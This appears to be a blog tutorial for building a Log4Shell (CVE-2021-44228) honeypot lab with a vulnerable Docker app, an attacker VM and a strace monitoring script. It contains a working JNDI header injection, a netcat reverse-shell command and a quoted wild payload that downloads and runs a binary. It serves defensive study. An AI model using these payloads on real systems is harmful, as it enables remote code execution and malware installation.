Overview
For many of us December 10th, 2021 was a stressful day. At least for the sysadmins and cyber security teams it was while in contrast a good time for cyber criminals and malicious Minecraft players. Any application running Apache’s log4j2 logging tool was vulnerable to a remote code execution (RCE) attack with the highest CVE score of 10.0.
🔗 https://nvd.nist.gov/vuln/detail/CVE-2021-44228
What made this vulnerability especially worse:
- The vulnerability and proof of concept (PoC) were released at the same time.
- It’s a very popular logger for Java applications.
- No authentication is required.
- Simple enough to script and blast over the Internet.
Since the PoC was released already I decided to test it myself to see what type of attacks were in the wild and how the exploit would evolve and adapt to workarounds.
For just a simple vulnerability example:
🔗 https://github.com/christophetd/log4shell-vulnerable-app
Prerequisites
We will need to setup two separate virtual machines. This can be done through a cloud service such as AWS, Azure, DigitalOcean, etc. The first machine will run the vulnerable application and the second machine will test a malicious payload to the vulnerable machine. This is a basic list:
- Two debian/ubuntu-based Linux VM setup
ssh
is enabled with anssh
key pair- Firewall rules are open for inbound ports (recommend using
iptables
to restrict ssh access to only you):- First VM
- 22 TCP
- 8080 TCP
- 80 TCP (optional)
- Second VM
- 22 TCP
- 8888 TCP
- 1389 TCP
- 9999 TCP (or whatever arbitrary number you want)
- First VM
Diagram
This is basic view of how the log4j2 vulnerability can work with a reverse shell payload attack:
Setup
First VM – Vulnerable App
Docker
Log into your first VM and run updates:
sudo apt -y update
Install Docker (and optionally Apache):
sudo apt -y install docker docker.io apache2
Run vulnerable log4j2 application:
docker run --name webapp -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app &
Install curl
command in the docker container (optional):
docker exec webapp apk add curl
wget
and curl
commands.Apache Redirect (Optional)
Admittedly I tried but didn’t want to spend too much time trying to find or change the docker’s tomcat server.xml
to port 80
so I just threw in an Apache server to redirect. This will make it more likely to get attack hits.
Edit the default config file:
sudo vi /etc/apache2/sites-available/000-default.conf
And add the redirect (change to your IPs):
<VirtualHost *:80>
#ServerName www.example.com
# ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ProxyPreserveHost On
ProxyRequests Off
ProxyPass / http://<vulnerable_ipaddress>:8080/
ProxyPassReverse / http://<vulnerable_ipaddress>:8080/
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Setup proxy and restart service:
sudo a2enmod proxy && sudo a2enmod proxy_http && sudo service apache2 restart
Baseline
We can use stack trace to monitor if any reverse shells are connected to our machine from the log4j2 RCE.
We can run commands in the docker to retrieve running processes:
docker exec webapp ps
Since this will be our baseline, we can remove ps or grep processes from out lists and make a baseline file:
docker exec webapp ps aux | grep -vE "ps aux|grep|java -jar /app/spring-boot-application.jar" > baseline.txt
We will come back to this once we make a connection.
Second VM – Attacker
On your second VM we can install Java and a compiled jar file that will convert our commands from base64 to run the the vulnerable machine:
wget https://github.com/btnrsec/log4jScan/raw/main/JNDIExploit-1.2-SNAPSHOT.jar
wget https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.13%2B8/OpenJDK11U-jdk_x64_linux_hotspot_11.0.13_8.tar.gz
mkdir /usr/lib/jvm/ && tar -xf OpenJDK11U-jdk_x64_linux_hotspot_11.0.13_8.tar.gz -C /usr/lib/jvm/
Then turn on the JNDI listeners (set to your IP address) and use &
to detach it:
/usr/lib/jvm/jdk-11.0.13+8/bin/java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ipaddress> -p 8888 &
Then setup your netcat listener:
nc -lvnp 9999
Payload
On another terminal, setup our reverse shell code (using the attacker VM ipaddress:
echo -en "nc <attacker_ipaddress> 9999 -e /bin/sh" | base64
Copy the base64 code and run the attack command:
curl <vulnerable_ipaddress>:8080 -H 'X-Api-Version: ${jndi:ldap://<attacker_ipaddress>:1389/Basi
c/Command/Base64/<base64_output>}'
This should return Hello, world!
On our Vulnerable machine we should see our logger output:
docker logs webapp
And our Attacker machine will show both the JNDI jar connection response and the netcat reverse shell connected:
Monitor Attack
On the Vulnerable machine, we can check the connections again and can see a new process is running:
docker exec webapp ps
We can then search for the process on the host machine:
ps -aux | grep "/bin/sh" | grep -vE "grep|strace-agent" | awk '{print $2}'
And finally from the PID start a trace:
strace -ffp <PID>
Then in the netcat reverse shell, try a few connections to see the results on the Vulnerable machine:
ls -lh
Script Process
We can make a shell script and setup a cronjob to put it all together that will:
- Get current docker processes into file.
- Compare difference to baseline.txt.
- Pull docker process name.
- Pull full system processes.
- Pull process ID matching docker process name.
- Setup strace into an output file.
- Cleanup current docker processes files every hour.
It is not elegant but so far I ended up with strace-agent.sh
:
#!/bin/bash
today=`date +%m-%d-%Y-%T-%N`
filename=docker-$today.log
tracefilename=strace-$today.log
docker exec webapp ps aux | grep -vE "ps aux|grep|java -jar /app/spring-boot-application.jar" > $filename
diff baseline.txt $filename
ret=$?
echo $filename
if [[ $ret -eq 0 ]]; then
echo "No new processes."
else
newPID=`cat $filename | grep -v "PID" | awk '{print $1}' | xargs`
echo "newPID $newPID"
newProcess=`docker exec webapp cat /proc/$newPID/cmdline | xargs -0 echo`
echo "newProcess $newProcess"
#
# Originally had this cmd but docker had /bin/sh and host had sh
# hostPID=`ps -C "$newProcess" -o pid= | awk '{print $1}'`
#
hostPID=`ps -aux | grep "$newProcess" | grep -vE "grep|strace-agent" | awk '{print $2}'`
echo "HostPID $hostPID"
strace -ffp $hostPID -o $tracefilename &
fi
find . -type f -mmin +60 -delete
Then set this to run every Xs (or you can setup a cronjob):
while true ; do /root/strace-agent.sh & sleep <seconds>; done &
When run with our netcat listener it will output and create a strace log:
Wild Encounters
So far just a few attackers. One of which is trying different variations of JNDI to run and install their executable file.
The base64 decoded payload is:
wget http://<server_to_not_index_ip>/reader; curl -O http://<server_to_not_index_ip>/reader; chmod 777 reader; ./reader runner
When I first set this up I didn’t have curl
installed on the docker and it didn’t complete.
These have already been reported on Triage :
🔗 https://tria.ge/s?q=sha256%3A9691061f778674bb4e28fb6a2d88a2fe72711ae71f3d2f4137654e1b5e91c9d2
If there are any errors or better approaches for this feel free to email info [ at ] btnrsec [dot] com.